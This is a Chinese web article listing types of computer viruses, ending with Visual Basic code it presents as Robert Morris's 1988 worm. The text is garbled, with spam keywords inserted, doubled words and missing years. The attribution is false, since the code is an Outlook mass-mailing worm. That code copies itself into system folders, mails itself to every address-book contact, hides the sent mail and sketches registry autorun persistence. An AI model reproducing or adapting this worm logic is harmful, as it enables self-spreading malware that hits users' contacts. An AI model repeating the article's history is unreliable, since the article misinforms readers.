1.计算机病毒有哪些？
2.1988年RobertMorris释放的病毒病毒首个蠕虫病毒的源代码

计算机病毒有哪些？

       引导区电脑病毒

       年代中期，最为流行的蠕虫蠕虫电脑病毒是引导区病毒，主要通过软盘在位元磁盘操作系统(DOS)环境下传播。源码源代引导区病毒会感染软盘内的病毒病毒引导区及硬盘，而且也能够感染用户硬盘内的蠕虫蠕虫主引导区(MBR)。一但电脑中毒，源码源代logops源码每一个经受感染电脑读取过的病毒病毒软盘都会受到感染。

       引导区电脑病毒是蠕虫蠕虫如此传播：隐藏在磁盘内，在系统文件启动以前电脑病毒已驻留在内存内。源码源代这样一来，病毒病毒电脑病毒就可完全控制DOS中断功能，蠕虫蠕虫以便进行病毒传播和破坏活动。源码源代那些设计在DOS或Windows3.1上执行的病毒病毒引导区病毒是不能够在新的电脑操作系统上传播，所以这类的蠕虫蠕虫电脑病毒已经比较罕见了。

       文件型电脑病毒

       文件型电脑病毒，源码源代名片源码大全又称寄生病毒，通常感染执行文件(.EXE)，但是也有些会感染其它可执行文件，如DLL,SCR等等...每次执行受感染的文件时，电脑病毒便会发作：电脑病毒会将自己复制到其他可执行文件，并且继续执行原有的程序，以免被用户所察觉。业主小区商业源码

       复合型电脑病毒

       复合型电脑病毒具有引导区病毒和文件型病毒的双重特点。

       宏病毒

       宏病毒专门针对特定的应用软件，可感染依附于某些应用软件内的宏指令，它可以很容易透过电子邮件附件、软盘、文件下载和群组软件等多种方式进行传播如MicrosoftWord和Excel。宏病毒采用程序语言撰写，蓝色空间psd源码例如VisualBasic或CorelDraw，而这些又是易于掌握的程序语言。宏病毒最先在年被发现，在不久后已成为最普遍的电脑病毒。

       特洛伊/特洛伊木马

       特洛伊或特洛伊木马是一个看似正当的程序，但事实上当执行时会进行一些恶性及不正当的活动。特洛伊可用作黑客工具去窃取用户的flash空间网站源码密码资料或破坏硬盘内的程序或数据。与电脑病毒的分别是特洛伊不会复制自己。它的传播技俩通常是诱骗电脑用户把特洛伊木马植入电脑内，例如通过电子邮件上的游戏附件等。

       蠕虫病毒

       蠕虫是另一种能自行复制和经由网络扩散的程序。它跟电脑病毒有些不同，电脑病毒通常会专注感染其它程序，但蠕虫是专注于利用网络去扩散。从定义上，电脑病毒和蠕虫是非不可并存的。随着互联网的普及，蠕虫利用电子邮件系统去复制，例如把自己隐藏于附件并于短时间内电子邮件发给多个用户。有些蠕虫(如CodeRed)，更会利用软件上的漏洞去扩散和进行破坏。

       其他电脑病毒/恶性程序码

       恶意程序通常是指带有攻击意图所编写的一段程序。这些威胁可以分成两个类别:需要宿主程序的威胁和彼此独立的威胁。前者基本上是不能独立于某个实际的应用程序、实用程序或系统程序的程序片段；后者是可以被操作系统调度和运行的自包含程序。也可以将这些软件威胁分成不进行复制工作和进行复制工作的。

年RobertMorris释放的首个蠕虫病毒的源代码

       在年，Robert Morris释放了首个蠕虫病毒，其源代码的片段如下：

       ```vb

       Sub Main()

        'TaskVisible。App.TaskVisible = False

        On Error Resume Next

        Dim Location, Location2, DesLocation, DesLocation2

        Location = App.Path & "\" & App.EXEName & "肢扮.exe"

        Location2 = App.Path & App.EXEName & ".exe"

        DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"

        DesLocation2 = "C:\WINNT\SYSTEM\镇迟Mapi.exe"

        FileCopy Location, DesLocation

        FileCopy Location2, DesLocation

        FileCopy Location, DesLocation2

        FileCopy Location2, DesLocation2

        Dim Var1, FilePath, FileName, FullLocation, MyApp

        Dim Christmas, List, AddList, AddressListCount

        Dim Merry, AdEntries, Attachs, Msg

        Var1 = "True"

        FilePath = App.Path

        FileName = App.EXEName

        FullLocation = FilePath & "\" & FileName

        Set MyApp = CreateObject("Outlook.Application")

        If MyApp = "Outlook" Then

        Set Christmas = MyApp.GetNameSpace("mapi")

        Set List = Christmas.AddressLists

        For Each Addresslist In List

        If Addresslist.AddressEntries.Count > 0 Then

        AddressListCount = Addresslist.AddressEntries.Count

        For AddList = 1 To AddressListCount

        Set Merry = MyApp.CreateItem(0)

        Set AdEntries = Addresslist.AddressEntries(AddList)

        Merry.To = AdEntries.Address

        Merry.Subject = Merry.Body

        Set Attachs = Merry.Attachments

        Attachs.Add FullLocation

        If Var1 = "true" Then

        Merry.DeleteAfterSubmit = True

        End If

        If Msg.To > "" Then

        Merry.Send

        End If

        Next

        Beep

        End If

        Next

        End If

        Dim RegSet

        Set RegSet = CreateObject("wscript.shell")

        'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\MAPI", "C:\WINNT\SYSTEM\MAPI.EXE"

        'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\winMAPI", "C:\WINNT\SYSTEM\winMAPI.EXE"

       End Sub

       ```

       请注意，由于蠕虫病毒是恶意软件，其传播和操作可能导致严重的安全风险。这段代码仅供教育和研究目的，绝不应在实际环境中运行。